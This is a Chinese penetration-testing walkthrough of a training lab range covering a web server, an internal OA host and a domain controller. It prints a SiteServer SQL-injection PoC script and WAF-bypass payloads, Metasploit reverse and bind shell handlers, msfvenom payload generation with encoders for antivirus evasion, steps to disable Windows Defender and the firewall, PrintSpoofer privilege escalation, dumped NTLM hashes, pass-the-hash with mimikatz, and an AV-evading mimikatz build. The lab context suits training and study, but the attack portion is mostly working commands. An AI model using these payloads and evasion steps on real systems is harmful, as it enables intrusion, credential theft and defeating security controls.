暗月渗透实战靶场-项目七
环境配置
使用的是暗月提供的环境
直接虚拟机运行即可
设置网络环境
配置完成即可
网络拓扑
网络测试
外网
对于外网的主机144、我们是无法进行ping的、防火墙是拦截了ping的数据包的
我们可以直接访问、能访问成功说明外网的环境配置没有问题
内网
由于内网防火墙的设置、也是禁用了ping命令的
web机与OA办公机是无法互相ping的、验证的方式只能是通过直接访问其ip的80、端口即可
域控
域控机器是没有设置防火墙的、也没有禁用ping、可以直接ping测试、
00x1-信息搜集
IP确认
(内网是使用netdiscover、外网是使用ping查看或者是网站查询)
netdiscover
1 sudo netdiscover -i eth0 -r 192.168.1.0/24
端口扫描
masscan
1 sudo masscan -p 1-65535 192.168.1.150 --rate=1000
nmap
1 sudo nmap -p 21,80,999,6588,5985 -sS -sC -v -A 192.168.1.114 -oA 114
这里我们还发现了目标机使用的dns解析的地址信息
由于前面我们在访问的时候就知道是访问不了的肯定是需要进行域名的绑定的
再次访问
网站有安全狗
whataweb查询网站的cms
WAF拦截
查询网站目录信息
使用dirsearch
1 2 3 python3 dirsearch.py -u "www.moonlab.com" -t 1 -e* 由于有waf的存在这里要注意扫描的速度不能太快
小插曲
但是我们在使用的时候发现dirsearch是没有办法进行扫描的、直接就是报错
意思就是访问不到目标
但是网站是真实存在的
这个当时自己扫的时候一直是报错、一度怀疑是源码的问题、弄了半天原来是url的问题
使用gobuster
1 gobuster dir -u http://www.moonlab.com -w /usr/share/wordlists/dirb/big.txt -t 50
和上面的扫描同款问题
使用dirmap
1 python3 dirmap.py -i http://www.webhack123.com -lcf
并发过高会被拦截
使用工具进行扫描的时候都是没有办法进行的.
学着样子自己写一个目录遍历的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from cgitb import resetimport requestsimport sysimport timewith open ('dicc.txt' ,'r' ,encoding='UTF-8' ) as readfile: for dirs in readfile.readlines(): url = 'http://www.moonlab.com/' +dirs.strip('\n' ) resp = requests.get(url) strlen = len (resp.text) print (url+'---statu---' +str (resp.status_code)+'---lens---' +str (strlen)) time.sleep(2 ) if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301 : if str (strlen) != "2939" : with open ('url.txt' ,'a' ,encoding='UTF-8' ) as writefile: writefile.write(url+'---statu---' +str (resp.status_code)+'---lens---' +str (strlen)+'\n' )
然后我们找到一些相关的文件
访问
00x2-漏洞利用
steserver后台管理页面泄露
查看当前版本
漏洞查询
然后进行相关漏洞的一些搜索
后台sql注入
发现在steserver中确实是存在sql注入
这里找到两个
1 2 https://github.com/w-digital-scanner/w9scan https://github.com/hmoytx/WVS
但是后者没有前者的稳定好用、我们这里使用的是前者W9Scan
找到steserver的相关poc
poc测试
修改版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsps=[ 'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All' , 'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--' , 'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271' , 'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName' , 'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0' , 'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0' , ] for p in ps: url="http://www.moonlab.com/" +p res = requests.get(url) if res.status_code==500 and "GAOJIMicrosoft" in res.text: print (url+'\n' ) print ('-------------------------------' +'\n' ) print (res.text)
关于上面的WVS的poc检测也是一样的
找到能用的payload
1 http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
访问
安全狗绕过
已经确认的安全语句
1 2 3 http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20-- url解码 http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --
上面的十六进制解码
然后尝试查询数据库名称
1 http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)and%20db_name()=2;%20--
sql注入被拦截
绕过
使用按位取反绕过
=~1
参考连接
1 2 3 4 5 6 按位取反绕过防火墙 http://cn-sec.com/archives/317348.html 安全狗绕过: https://xz.aliyun.com/t/8000 https://xz.aliyun.com/t/7572 https://cloud.tencent.com/developer/article/1674113
绕过测试
1 http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)and%20db_name()=~2;%20--
查询数据库用户密码
针对数据库中的用户名密码来查询
前面我们已经知道这个是个steserver的框架、对于数据结构我们可以直接在搜索引擎上进行搜索
这里直接列出该数据表的功能
确定数据库用户名密码所在的数据表
进行查询
这里为了防止安全狗、我们一次查询的数量不会太多、一次一条
1 select top1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]
测试
安全狗拦截
取反放在前面测试
1 ?UnLock=sdfe'&UserNameCollection=test')and ~1= select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]; --
可以过安全狗、但是语句说是select附近出现错误
加括号
成功执行
查询到用户名
admin
1 ?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
查询密码
1 ?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 password from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
密码
1 64Cic1ERUP9n2OzxuKl9Tw==
查询加密方式
1 ?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 PasswordFormat from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
加密方式
查询加密盐值
1 ?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 [PasswordSalt] from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
盐值
1 LIywB/zHFDTuEA1LU53Opg==
查询加密方式
源码审计
DLL反编译
进行全局的查找
查找相应的加密方式、
编写解密
后台找回密码漏洞
1 2 3 4 5 参考 http://cn-sec.com/archives/71636.html https://www.cnblogs.com/peterpan0707007/p/8721094.html https://blog.tangwebsafe.com/2021/03/23/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-%E9%AA%8C%E8%AF%81%E7%A0%81%E7%BB%95%E8%BF%87%E3%80%81%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E%E6%BC%8F%E6%B4%9E/
后台找回密码
抓包
将问题答案设置为空
直接将后台密码带出来
00x3-进入后台-上传shell
进入后台
查找webshell上传点
刚开始在内容模块上传文件是不行的、上传的文件都会被安全狗咬死的、
只能是找一些上传压缩包的地方、等到用的时候自动解压
站点模块管理是可以的
上传webshell
上传
自己不会写过狗的shell、5555555555、只能直接拿冰蝎的马试试能不能过了
连接
1 2 http://www.moonlab.com/SiteFiles/SiteTemplates/shell/shell.aspx rebeyond
拿下
嫖的过狗马
使用蚁剑进行连接
00x4-信息搜集
信息搜集
冰蝎
主机信息
ip
两块网卡有东西
端口
开启的服务
查找对我们提权有帮助或者是又阻碍的服务
阻碍
1 2 3 safedog 安全狗 Defender win自带的杀毒 firewall 防火墙
帮助
1 2 3 MySQL 提权 SQLserver 提权 Print Spooler 打印机服务提权
开启的进程
防护进程
查看用户信息
1 SeImpersonatePrivilege 身份验证后模拟客户端 已启用 这个服务能够帮助我们提权
上MSF
1 2 3 4 5 6 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 9090 show options run
连接
做个隧道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 添加路由: 查看全局路由器 run get_local_subnets 添加10段的路由信息 run autoroute -s 10.10.1.0/24 查看添加的路由表信息 run autoroute -p 添加代理 use auxiliary/server/socks_proxy show options 设置代理 set SRVPORT 5555 run
测试
1 proxychains4 curl 10.10.1.130
MSF转到CS
1 2 3 4 5 6 7 8 9 10 11 先将msf上获得的session放到后台运行 background 然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中 设置新的payload use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.1.130 //cs主机地址 set LPORT 6060 //随意设置监听端口,需要和cs保持一致 set session 1 //设置需要派送的meterpreter set DisablePayloadHandler true //禁止产生一个新的handler
00x5-Windows server-2016漏洞提权
上面的防护软件我们已经清楚了、对于我们能过够利用提权的一些进程我们也已经查看了
搜索相关提权方法
我们可以利用的poc还是挺多的、但是安全狗的免杀也是很重要的
这里我们使用的是Windows的打印机漏洞、这个漏洞在20、21年都一直在爆0day
1 2 3 参考 https://www.cnblogs.com/trevain/p/13672443.html http://caidaome.com/?post=285
免杀
上面介绍的都是使用dll动态链接库来做反弹的、但是这种上传上去就会被安全狗杀
这里使用上面的Print Spooler免杀
上传poc
这里我们得到的shell的用户权限是很小的、打开的终端也是不能查看文件切换目录的、所以我们在上传文件的时候要注意上传到最小用户也能读能执行的目录下、和Linux一样需要上传到Temp目录
执行
查看权限
1 printspoofer1.exe -i -c "whoami"
通过poc我们可以是system权限、但是没有办法
1 2 使用教程 https://github.com/itm4n/PrintSpoofer
我们使用poc开一个system权限的cmd进程、考虑在使用cs注入一个system的smb通道
1 PrintSpoofer.exe -i -c cmd
但是在cs上却不行
这种进程是用不了的
制作免杀攻击载荷
先制作反向代理的攻击载荷
1 sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=6061 -e x86/shikata_ga_nai -i 20 -f c -o payload3.c
MSF设置监听
1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 6061 exploit -j
攻击载荷进行shellcode编译
使用到的工具掩目
1 2 工具地址 https://github.com/1y0n/AV_Evasion_Tool
编译
生成免杀
上传
结果被windows杀软查杀
斗智斗勇阶段
被windows的杀软直接给杀了
然后使用掩目就不断的尝试变换shell一直都是不行的
中间又经过了两个小时
灵光一现
既然我们绕过不杀软、为何不直接将他杀了
开始想办法
终于功夫不负有心人
大佬就20小时前刚写的工具
1 https://github.com/APTortellini/DefenderSwitch
直接上
我们先利用打印机漏洞获取一个system的cmd
工具上传
执行
牛蛙牛蛙
直接关闭了Windows Defender Service
再次上传攻击载荷
再次上传我们msfvenom生成的攻击载荷
再次经过掩目做免杀、生成exe
上传
上传成功
Defender终于闭嘴了、狗哥也没有反应
执行exe
成功反弹session会话
system权限
注入系统进程
注入一个administrator的进程
在注入一个system的进程
转到CS
1 2 3 4 5 6 7 8 9 10 11 先将msf上获得的session放到后台运行 background 然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中 设置新的payload use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.1.130 //cs主机地址 set LPORT 6060 //随意设置监听端口,需要和cs保持一致 set session 1 //设置需要派送的meterpreter set DisablePayloadHandler true //禁止产生一个新的handler
cs上线
转移进程
00x6-踏进内网
上面我们已经拿到了外网机器的adminstrstor的用户权限
对内网进行信息搜集
密码获取
上面我们已经知道这个目标机是开启了3389端口的、
连接3389
小插曲
如果连接Windows server 2016出现这个报错
解决
连接
成功
任务
清除痕迹、关闭安全狗、Windows Defeder在前面我们已经完全的关闭了
跨网段信息搜集
查看arp信息
内网扫描
内网IP扫描
1 2 这里使用的是目标机1的隧道进行扫描的、不建议使用在本机代理使用nmap、太慢了 run arp_scanner -r 10.10.1.0/24
确定只有两个ip10.10.1.130与本机的10.10.1.131
端口扫描
1 proxychains4 sudo masscan -p 1-65535 10.10.1.130 --rate=500
访问80端口
通达OA
00x7-进入内网发现域控
通达OA-getshell-拿下目标机2
上面我们发现的通达OA
直接使用工具-通达OA
直接打通
上传冰蝎马
上传
连接
查看权限
查看进程
居然有360杀毒
查看进行列表
发现360杀毒、应该是由360全家桶的、但是一路上都没有对我们的webshell有查杀
查看网卡信息、端口信息
1 2 3 ipconfig /all netstat -ano
这里445端口是开放的、如果可以利用的话、我们可以避免麻烦直接使用正向代理进行连接、这样就避免做二次代理的麻烦了。
ip
两张网卡、这次应该就是在域控了
关闭Windows防火墙
1 netsh advfirewall set allprofiles state off
尝试访问445端口
1 proxychains4 sudo nmap -sT -Pn 10.10.1.130 -p 445
制作正向连接代理
制作攻击载荷
使用msfvenom生成攻击载荷
1 msfvenom -p windows/meterpreter/bind_tcp LPORT=6065 -e x86/shikata_ga_nai -i 40 -f c -o payload_bind40.c
使用掩目制作
上传
并没有被查杀、难道360的版本是比较老的?
制作CS木马
那就在上传有一个cs的木马
无论怎么刷新都不会消失、尝试运行
设置监听并上线
MSF
1 2 3 4 use exploit/multi/handler set payload windows/meterpreter/bind_tcp set lhost 10.10.1.130 #正向连接的时候直接是设置目标机器的ip即可 set lport 6065
运行攻击载荷
上线
CS
设置监听器
执行木马
上线
我们使用CS不但上线了OA机器的system的会话、而且居然还能成功的将会话转入到ATTACK\Aadminiatrator的会话
00x8-发现并进攻域控
信息收集
密码收集
1 2 3 4 密码收集 hashdump 域控 creds_all
发现域控
密码破解
OA
密码暂时不管了
继续域控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 Authentication Id : 0 ; 383765 (00000000:0005db15) Session : Interactive from 1 User Name : Administrator Domain : OA Logon Server : OA Logon Time : 2022/1/27 22:14:41 SID : S-1-5-21-3252981389-920624007-1327000051-500 msv : [00010000] CredentialKeys * NTLM : 357bec0ee1f524c62ba536fcd3f74472 * SHA1 : 43780ba4a0371ece954584ae098bcd820554bd54 [00000003] Primary * Username : Administrator * Domain : OA * NTLM : 357bec0ee1f524c62ba536fcd3f74472 * SHA1 : 43780ba4a0371ece954584ae098bcd820554bd54 Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : OA$ Domain : ATTACK Logon Server : (null) Logon Time : 2022/1/27 22:14:07 SID : S-1-5-18 msv : Authentication Id : 0 ; 89278 (00000000:00015cbe) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2022/1/27 22:14:08 SID : S-1-5-90-1 msv : [00000003] Primary * Username : OA$ * Domain : ATTACK * NTLM : 65288d11ef4984198c4fe020137cd948 * SHA1 : 5fbfecfb312235fe23a7be6c591e1e9c6ddbc3ff Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : OA$ Domain : ATTACK Logon Server : (null) Logon Time : 2022/1/27 22:14:07 SID : S-1-5-20 msv : [00000003] Primary * Username : OA$ * Domain : ATTACK * NTLM : 65288d11ef4984198c4fe020137cd948 * SHA1 : 5fbfecfb312235fe23a7be6c591e1e9c6ddbc3ff Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2022/1/27 22:14:08 SID : S-1-5-19 msv : Authentication Id : 0 ; 50742 (00000000:0000c636) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2022/1/27 22:14:07 SID : msv : [00000003] Primary * Username : OA$ * Domain : ATTACK * NTLM : 65288d11ef4984198c4fe020137cd948 * SHA1 : 5fbfecfb312235fe23a7be6c591e1e9c6ddbc3ff
主机信息
定位域控
1 2 3 4 5 net time 假如是在域控的主机、就会返回域控的同步时间 run post/windows/gather/enum_domain
域控
查看域控的用户登录情况
使用CS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 beacon> net domain #域控的域名 [*] Tasked beacon to run net domain [+] host called home, sent: 231 bytes [+] received output: attack.local beacon> net computers #域控登录的主机信息(主机名、ip) [*] Tasked beacon to run net computers [+] host called home, sent: 87654 bytes [+] received output: Computers: Server Name IP Address ----------- ---------- DC 10.10.10.165 OA 10.10.1.130 beacon > net domain_controllers #域控的主机名以及ip 信息[*] Tasked beacon to run net domain_controllers [+] host called home , sent : 87663 bytes [+] received output : Domain Controllers : Server Name IP Address ----------- ---------- DC 10.10.10.165 beacon > net domain_trusts #域控信息、用户名 [*] Tasked beacon to run net domain_trusts [+] host called home , sent : 87658 bytes [+] received output : List of domain trusts : 0: ATTACK attack.local (Forest tree root ) (Primary Domain ) (Native ) beacon > net logons #所有登录域的用户信息[*] Tasked beacon to run net logons on localhost [+] host called home , sent : 87651 bytes [+] received output : Logged on users at \\localhost :OA \Administrator ATTACK \OA $ATTACK \OA $beacon > net sessions [*] Tasked beacon to run net sessions on localhost [+] host called home , sent : 87653 bytes [+] received output : Sessions for \\localhost : Computer User name Active (s ) Idle (s ) -------- --------- ---------- -------- \\[::1] OA $ 5 0 beacon > net share [*] Tasked beacon to run net share on localhost [+] host called home , sent : 87650 bytes [+] received output : Shares at \\localhost : Share name Comment ---------- ------- ADMIN $ 远程管理 C $ 默认共享 IPC $ 远程 IPC
使用MSF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 meterpreter > run post/windows/gather/enum_logged_on_users #所有登陆域的用户信息 [*] Running against session 4 Current Logged Users ==================== SID User --- ---- S-1 -5 -18 NT AUTHORITY\SYSTEM S-1 -5 -21 -3252981389 -920624007 -1327000051 -500 OA\Administrator [+] Results saved in : /home/kali/.msf4/loot/20220130040913 _moonlab1.114 _10.10 .1 .130 _host.users.activ_385207.txt Recently Logged Users ===================== SID Profile Path --- ------------ S-1 -5 -18 %systemroot% \system32\config\systemprofile S-1 -5 -19 C:\Windows\ServiceProfiles\LocalService S-1 -5 -20 C:\Windows\ServiceProfiles\NetworkService S-1 -5 -21 -3252981389 -920624007 -1327000051 -500 C:\Users\Administrator S-1 -5 -21 -4052809752 -717748265 -227546684 -1103 C:\Users\oa S-1 -5 -21 -4052809752 -717748265 -227546684 -500 C:\Users\administrator.ATTACK meterpreter > run post/windows/gather/enum_ad_computers #域内用户的主机信息 Domain Computers ================ dNSHostName distinguishedName description operatingSystem operatingSystemServicePack ----------- ----------------- ----------- --------------- -------------------------- dc.attack.local CN=DC,OU=Domain Controllers,DC=attack,DC=local Windows Server 2016 Standard oa.attack.local CN=OA,CN=Computers,DC=attack,DC=local Windows Server 2012 R2 Standard meterpreter > run post/windows/gather/enum_domain #域控的名字和dc所在的ip [+] FOUND Domain: attack [+] FOUND Domain Controller: dc (IP: 10 .10 .10 .165 )
使用shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 C:\myoa \nginx >net user /domain #查看域内用户 net user /domain The request will be processed at a domain controller for domain attack.local .User accounts for \\dc.attack.local ------------------------------------------------------------------------------- Administrator DefaultAccount Guest krbtgt oa The command completed with one or more errors . C :\myoa \nginx >net group /domain #查看域控所在的组net group /domain The request will be processed at a domain controller for domain attack.local .Group Accounts for \\dc.attack.local ------------------------------------------------------------------------------- *Cloneable Domain Controllers *DnsUpdateProxy *Domain Admins *Domain Computers *Domain Controllers *Domain Guests *Domain Users *Enterprise Admins *Enterprise Key Admins *Enterprise Read -only Domain Controllers *Group Policy Creator Owners *Key Admins *Protected Users *Read -only Domain Controllers *Schema Admins The command completed with one or more errors .C :\myoa \nginx >net localgroup administrators /domain #查看登录域内的administrator 用户net localgroup administrators /domain The request will be processed at a domain controller for domain attack.local .Alias name administrators Comment ▒▒▒▒Ա▒Լ▒▒▒▒/▒▒▒в▒▒▒▒▒▒Ƶ▒▒▒ȫ▒▒▒▒ȨMembers ------------------------------------------------------------------------------- Administrator Domain Admins Enterprise Admins The command completed successfully .C :\myoa \nginx >net group "domain admins " /domain #查看域内的admini 用户net group "domain admins " /domain The request will be processed at a domain controller for domain attack.local .Group name Domain Admins Comment ָ▒▒▒▒▒▒▒▒▒ԱMembers ------------------------------------------------------------------------------- Administrator The command completed successfully .C :\myoa \nginx >net group "domain controllers " /domain net group "domain controllers " /domain The request will be processed at a domain controller for domain attack.local .Group name Domain Controllers Comment ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒Members ------------------------------------------------------------------------------- DC $The command completed successfully .
查看域控管理员登录
我们能知道现在目标机器是在attack.local的域控中的
查看用户进程
拿到域控管理员
我们在OA主机发现是由域控的aministrator用户在线的
使用命令窃取进程
尝试建立administrator的用户shell
无法建立会话
尝试访问dc的c盘
无法访问
这样的administrator是没有意义的、我们暂时先取消刚刚窃取的administrato的shell
CS建立shell
上面我们使用msf是无法创建shell窗口的、这里使用cs尝试
是可以建立shell的
尝试访问文件
可以放问attack域控的文件的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 beacon> shell dir \\dc\c$ [*] Tasked beacon to run: dir \\dc\c$ [+] host called home, sent: 42 bytes [+] received output: 驱动器 \\dc\c$ 中的卷没有标签。 卷的序列号是 FEFA-8711 \\dc\c$ 的目录 2016/07/16 21:23 <DIR> PerfLogs 2020/07/14 14:12 <DIR> Program Files 2016/07/16 21:23 <DIR> Program Files (x86) 2020/07/14 14:07 <DIR> Users 2020/08/09 09:35 <DIR> Windows 0 个文件 0 字节 5 个目录 52,490,985,472 可用字节 beacon> shell whoami [*] Tasked beacon to run: whoami [+] host called home, sent: 37 bytes [+] received output: attack\administrator
直接就拿到下了域控、没意思、这不是我们想要的、、、、、、、、
下面继续使用MSF进行攻击、因为又的时候CS的免杀攻击木马是不好做出来的、所以还是尽量的模仿真是的攻击环境比较好
访问域控信息
添加路由
在10.10.1.130的机器上在添加一条10.10.10.0/24的静态路由、以便我们访问域控的10.10.10.的机器
1 2 run autoroute -s 10.10.10.0/24 run autoroute -p
访问域控主机
1 proxychains4 ping 10.10.10.165
主机扫描
端口扫描
1 proxychains4 sudo masscan -p 1-65535 10.10.10.165 --rate=500
或者使用nmap进行常用端口的探测扫描
1 proxychains nmap -sT -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,9300,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 --open
3389端口是开放的
获取域用户的PID SID的NTML
管理员
这个获取是使用mimikatz工具的命令的、(只有域管理员才能拿到)
krbtgt
登录域控管理员
pth登录域管理
1 2 3 4 5 6 7 8 参考学习: https://www.anquanke.com/post/id/152956 https://www.cnblogs.com/feizianquan/p/11764344.html https://yoga7xm.top/2019/04/12/IPentest-domain3/ https://www.geekby.site/2019/04/pthpass-the-hash-%E6%94%BB%E5%87%BB/ #这个方法多 使用cs https://blog.csdn.net/lhh134/article/details/104475026 https://www.anquanke.com/post/id/235251#h2-17
在CS的环境下
执行命令
1 mimikatz sekurlsa::pth /user:administrator /domain:attack.local /ntlm:c7078b8300f0eacbffe68981cc733ee4 /run:"cmd -w hidden"
窃取进程
1 2 3 steal_token 3584 shell dir \\dc\c$
成功访问attack域控的shell
过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 beacon> shell dir \\dc\c$ [*] Tasked beacon to run: dir \\dc\c$ [+] host called home, sent: 66 bytes [+] received output: 拒绝访问。 beacon> mimikatz sekurlsa::pth /user:administrator /domain:attack.local /ntlm:c7078b8300f0eacbffe68981cc733ee4 /run:"cmd -w hidden" [*] Tasked beacon to run mimikatz's sekurlsa::pth /user:administrator /domain:attack.local /ntlm:c7078b8300f0eacbffe68981cc733ee4 /run:"cmd -w hidden" command [+] host called home, sent: 787055 bytes [+] received output: user : administrator domain : attack.local program : cmd -w hidden impers. : no NTLM : c7078b8300f0eacbffe68981cc733ee4 | PID 3584 | TID 4368 | LSA Process is now R/W | LUID 0 ; 31223186 (00000000:01dc6d92) \_ msv1_0 - data copy @ 0000005B4E0587C0 : OK ! \_ kerberos - data copy @ 0000005B4E09AA78 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 0000005B4E0910A8 (16) -> null beacon> steal_token 3584 [*] Tasked beacon to steal token from PID 3584 [+] host called home, sent: 12 bytes [+] Impersonated OA\Administrator beacon> shell dir \\dc\c$ [*] Tasked beacon to run: dir \\dc\c$ [+] host called home, sent: 42 bytes [+] received output: 驱动器 \\dc\c$ 中的卷没有标签。 卷的序列号是 FEFA-8711 \\dc\c$ 的目录 2016/07/16 21:23 <DIR> PerfLogs 2020/07/14 14:12 <DIR> Program Files 2016/07/16 21:23 <DIR> Program Files (x86) 2020/07/14 14:07 <DIR> Users 2020/08/09 09:35 <DIR> Windows 0 个文件 0 字节 5 个目录 52,490,973,184 可用字节 beacon> shell whoami [*] Tasked beacon to run: whoami [+] host called home, sent: 37 bytes [+] received output: oa\administrator
使用mimikatz
上传mimikatz
由于有360的存在这里需要进行免杀处理
1 2 3 4 mimikatz-csharp https://github.com/ssssanr/Mimikatz-Csharp mimikatz源码 https://github.com/gentilkiwi/mimikatz
三步即可
命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte 将生成的key文件“key.snk”复制到:C:\Windows\Microsoft.NET\Framework\v4.0.30319 然后将下载的“katz.cs”也复制到:C:\Windows\Microsoft.NET\Framework\v4.0.30319 运行csc.exe执行命令 csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk /unsafe katz.cs 然后就会输出文件“regsvcs.dll” 建议是在windows server 2012这样的老机器上运行的一般win10运行会出错 如果运行的时候错误说缺少“System.IO.Compression.dll”文件、我们只需要去下载即可 运行regsvcs.dll regsvcs.exe regsvcs.dll #即可
将生成的dll文件上传至10.10.1.130的机器上
执行
